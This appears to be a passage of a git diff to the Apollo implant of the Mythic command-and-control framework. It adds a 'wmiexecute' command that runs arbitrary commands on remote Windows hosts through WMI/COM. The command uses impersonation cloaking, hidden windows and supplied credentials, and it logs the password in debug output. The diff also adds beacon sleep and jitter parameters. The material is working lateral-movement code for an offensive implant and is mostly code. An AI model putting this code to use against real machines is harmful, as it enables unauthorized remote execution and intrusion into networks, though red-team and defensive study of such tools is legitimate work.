[DataMember(Name = "host")] + internal string? HostName; + [DataMember(Name = "username")] + internal string? Username; + [DataMember(Name = "password")] + internal string? Password; + [DataMember(Name = "domain")] + internal string? Domain; + [DataMember(Name = "command")] + internal string Command; + } + + public wmiexecute(IAgent agent, MythicTask data) : base(agent, data) + { + } + + public override void Start() + { + MythicTaskResponse resp = CreateTaskResponse("", true); + try { - SecureString securePassword = new SecureString(); - foreach (char c in Password) + WmiExecuteParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + string? HostName = parameters.HostName?.Trim(); + string? Username = parameters.Username?.Trim(); + string? Password = parameters.Password?.Trim(); + string? Domain = parameters.Domain?.Trim(); + string Command = parameters.Command.Trim(); + if (HostName != null && HostName != "" && (Password == null || Password == "")) { - securePassword.AppendChar(c); + // https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9 + // Create an object on a remote host. + // For the CLSID_WbemLevel1Login object, this requires you to use Administrative credentials. + // CLSID_WbemLevel1Login does not allow you to immediately query IWbemLevel1Login so you + // must query for IUnknown first. + var CLSID_WbemLevel1Login = new Guid("8BC3F05E-D86B-11D0-A075-00C04FB68820"); + var classContext = CLSCTX.REMOTE_SERVER | CLSCTX.ENABLE_CLOAKING; // ENABLE_CLOAKING makes object creation use our impersonation token + var authInfoPtr = Marshal.AllocCoTaskMem(0x100); // Buffer is larger than what is needed + var authInfo = new COAUTHINFO() + { + dwAuthnSvc = RpcAuthnService.Default, + dwAuthzSvc = 0, + pwszServerPrincName = null, + dwAuthnLevel = RPC_AUTHN_LEVEL.PKT_PRIVACY, + dwImpersonationLevel = RPC_IMP_LEVEL.IMPERSONATE, + pAuthIdentityData = IntPtr.Zero, + dwCapabilities = RPC_C_QOS_CAPABILITIES.None + }; + Marshal.StructureToPtr(authInfo, authInfoPtr, false); + var serverInfoPtr = Marshal.AllocCoTaskMem(0x100); // Buffer is larger than what is needed + var serverInfo = new COSERVERINFO() + { + pwszName = HostName, + pAuthInfo = authInfoPtr + }; + Marshal.StructureToPtr(serverInfo, serverInfoPtr, false); + var IID_IUnknown = new Guid("00000000-0000-0000-C000-000000000046"); // CLSID_WbemLevel1Login requires IUnknown to be the first interface queried + var multiQi = new MULTI_QI[1]; + multiQi[0] = new MULTI_QI(IID_IUnknown); + var coCreateResult = NativeMethods.CoCreateInstanceEx(CLSID_WbemLevel1Login, IntPtr.Zero, classContext, serverInfoPtr, 1, multiQi); + if (coCreateResult >= 0 && multiQi[0].hr == 0) + { + // We need to set the proxy blanket with either STATIC_CLOAKING or DYNAMIC_CLOAKING on + // every interface we acquire to instruct COM to use our current impersonation token + SetProxyBlanket(multiQi[0].pItf); + var wbemLevel1Login = (IWbemLevel1Login)Marshal.GetObjectForIUnknown(multiQi[0].pItf); + SetProxyBlanket(wbemLevel1Login, typeof(IWbemLevel1Login)); + // Connect to the required WMI namespace + object output = null; + var result = wbemLevel1Login.NTLMLogin("ROOT\\CIMV2", null, 0, null, ref output); + var wbemServices = (IWbemServices)output; + SetProxyBlanket(wbemServices, typeof(IWbemServices)); + // Get an instance of Win32_Process + result = wbemServices.GetObject("Win32_Process", 0, null, ref output, null); + var win32Process = (IWbemClassObject)output; + SetProxyBlanket(win32Process, typeof(IWbemClassObject)); + // Get the signature (e.g., the definition) of the input parameters. + result = win32Process.GetMethod("Create", 0, ref output, null); + var inSignature = (IWbemClassObject)output; + SetProxyBlanket(inSignature, typeof(IWbemClassObject)); + inSignature.SpawnInstance(0, ref output); + var inParameters = (IWbemClassObject)output; + SetProxyBlanket(inParameters, typeof(IWbemClassObject)); + // Get an instance of Win32_ProcessStartup and use it to set the ProcessStartupInformation + // input parameter. + result = wbemServices.GetObject("Win32_ProcessStartup", 0, null, ref output, null); + inSignature = (IWbemClassObject)output; + SetProxyBlanket(inSignature, typeof(IWbemClassObject)); + inSignature.SpawnInstance(0, ref output); + var win32ProcessStartupInstance = (IWbemClassObject)output; + SetProxyBlanket(win32ProcessStartupInstance, typeof(IWbemClassObject)); + var input = (object)5; // SW_HIDE + result = win32ProcessStartupInstance.Put("ShowWindow", 0, ref input); + input = 0x01000000; // CREATE_BREAKAWAY_FROM_JOB + result = win32ProcessStartupInstance.Put("CreateFlags", 0, ref input); + input = (object)win32ProcessStartupInstance; + result = inParameters.Put("ProcessStartupInformation", 0, ref input); + input = (object)Command; + result = inParameters.Put("CommandLine", 0, ref input); + //input = (object)cwd; + //result = inParameters.Put("CurrentDirectory", 0, ref input); + // Execute the Win32_Process:Create and show its output parameters. + result = wbemServices.ExecMethod("Win32_Process", "Create", 0, null, inParameters, ref output, null); + Object processID = null; + Object returnValue = null; + var outParameters = (IWbemClassObject)output; + SetProxyBlanket(outParameters, typeof(IWbemClassObject)); + outParameters.Get("ProcessId", 0, ref processID); + outParameters.Get("ReturnValue", 0, ref returnValue); + if (returnValue.ToString() == "0") + { + resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) successfully", true, "success"); + } + else + { + resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) and executed with error code ({returnValue.ToString()})", true, "error"); + } + Marshal.FreeCoTaskMem(authInfoPtr); + Marshal.FreeCoTaskMem(serverInfoPtr); + } + else + { + resp = CreateTaskResponse($"failed with error code: {coCreateResult}", true, "error"); + } + _agent.GetTaskManager().AddTaskResponseToQueue(resp); + return; + } + //Original version using wmi v1 + ManagementScope scope = new ManagementScope(); + //executes for remote hosts + if (string.IsNullOrEmpty(HostName) is false) + { + //set wmi connection options + ConnectionOptions options = new ConnectionOptions + { + EnablePrivileges = true, + Authentication = AuthenticationLevel.PacketPrivacy, + Impersonation = ImpersonationLevel.Impersonate, + Username = string.IsNullOrEmpty(Username) ? null : Username, + Password = string.IsNullOrEmpty(Password) ? null : Password, + Authority = string.IsNullOrEmpty(Domain) ? null : $"NTLMDOMAIN:{Domain}" + }; + DebugHelp.DebugWriteLine($@"trying to connect to target at: \\{HostName}\root\cimv2"); + DebugHelp.DebugWriteLine($@"Username: {options.Username}"); + DebugHelp.DebugWriteLine($@"Password: {Password}"); + DebugHelp.DebugWriteLine($@"Domain: {options.Authority}"); + scope = new ManagementScope($@"\\{HostName}\root\cimv2", options); + scope.Connect(); + DebugHelp.DebugWriteLine("Connected to target machine"); + } + //otherwise we assume the execution is local + else + { + DebugHelp.DebugWriteLine($@"trying to execute locally"); } - credentials = new CimCredential(PasswordAuthenticationMechanism.Default, Domain, Username, securePassword); - DebugHelp.DebugWriteLine("using credentials"); - DComOptions.AddDestinationCredentials(credentials); - } - - CimSession mySession = null; - if (string.IsNullOrWhiteSpace(HostName) is false) - { - mySession = CimSession.Create(HostName,DComOptions); - } - else - { - mySession = CimSession.Create("localhost", DComOptions); - } - // Create an instance of the Win32_ProcessStartup class - CimInstance startupInfo = new CimInstance("Win32_ProcessStartup", "root/cimv2"); - startupInfo.CimInstanceProperties.Add(CimProperty.Create("CreateFlags", 16, CimFlags.None)); // STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES - - // Create an anonymous pipe for output redirection - AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable); - string pipeHandle = pipeServer.GetClientHandleAsString(); - - // Set the StandardOutput property to redirect output to the anonymous pipe - startupInfo.CimInstanceProperties.Add(CimProperty.Create("StandardOutput", pipeHandle, CimFlags.None)); - // Create a CimMethodParametersCollection to hold the method parameters - CimMethodParametersCollection methodParameters = new CimMethodParametersCollection(); - methodParameters.Add(CimMethodParameter.Create("CommandLine", Command, CimFlags.In)); - methodParameters.Add(CimMethodParameter.Create("ProcessStartupInformation", startupInfo, CimFlags.Property)); + //use system management object to execute command + ObjectGetOptions objectGetOptions = new ObjectGetOptions(); + ManagementPath managementPath = new ManagementPath("Win32_Process"); + ManagementClass processClass = new ManagementClass(scope, managementPath, objectGetOptions); + ManagementBaseObject inParams = processClass.GetMethodParameters("Create"); + DebugHelp.DebugWriteLine($"Executing command: {Command}"); + inParams["CommandLine"] = Command; - CimInstance process = new CimInstance("Win32_Process", "root/cimv2"); - - // Invoke the "Create" method to create the process with the modified startup options - CimMethodResult result = mySession.InvokeMethod(process, "Create", methodParameters); - // Read the output from the anonymous pipe - using (StreamReader reader = new StreamReader(pipeServer)) + // Invoke the "Create" method to create the process + ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null); + //get status code + uint returnCode = (uint)outParams["returnValue"]; + DebugHelp.DebugWriteLine($"Return code: {returnCode}"); + if (returnCode != 0) + { + resp = CreateTaskResponse($"Command failed with return code: {returnCode}", true, "error"); + } + else + { + resp = CreateTaskResponse("Command executed successfully", true); + } + _agent.GetTaskManager().AddTaskResponseToQueue(resp); + } + catch (Exception e) { - string output = reader.ReadToEnd(); - DebugHelp.DebugWriteLine($"Command output: {output}"); - resp = CreateTaskResponse(output, true); + resp = CreateTaskResponse(e.Message + "\n" + e.StackTrace, true, "error"); + DebugHelp.DebugWriteLine(e.Message); + DebugHelp.DebugWriteLine(e.StackTrace); _agent.GetTaskManager().AddTaskResponseToQueue(resp); - }*/ \ No newline at end of file + } + + } + } +} + +#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 75430633..64d65d3b 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -21,7 +21,7 @@ class Apollo(PayloadType): supported_os = [ SupportedOS.Windows ] - version = "2.2.17" + version = "2.2.18" wrapper = False wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] note = """ diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py b/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py index 2a952cc5..880e19ae 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py @@ -6,19 +6,39 @@ class SleepArguments(TaskArguments): def __init__(self, command_line, **kwargs): super().__init__(command_line, **kwargs) - self.args = [] + self.args = [ + CommandParameter( + name="interval", + type=ParameterType.Number, + default_value=-1, + parameter_group_info=[ParameterGroupInfo( + ui_position=0 + )] + ), + CommandParameter( + name="jitter", + type=ParameterType.Number, + default_value=-1, + parameter_group_info=[ParameterGroupInfo( + ui_position=1 + )] + ) + ] + + async def parse_dictionary(self, dictionary_arguments): + self.load_args_from_dictionary(dictionary_arguments) async def parse_arguments(self): if len(self.command_line) == 0: raise Exception("sleep requires an integer value (in seconds) to be passed on the command line to update the sleep value to.") parts = self.command_line.split(" ", maxsplit=1) try: - int(parts[0]) + self.set_arg("interval", int(parts[0])) except: raise Exception("sleep requires an integer value (in seconds) to be passed on the command line to update the sleep value to.") if len(parts) == 2: try: - int(parts[1]) + self.set_arg("jitter", int(parts[1])) except: raise Exception("sleep requires an integer value for jitter, but received: {}".format(parts[1])) pass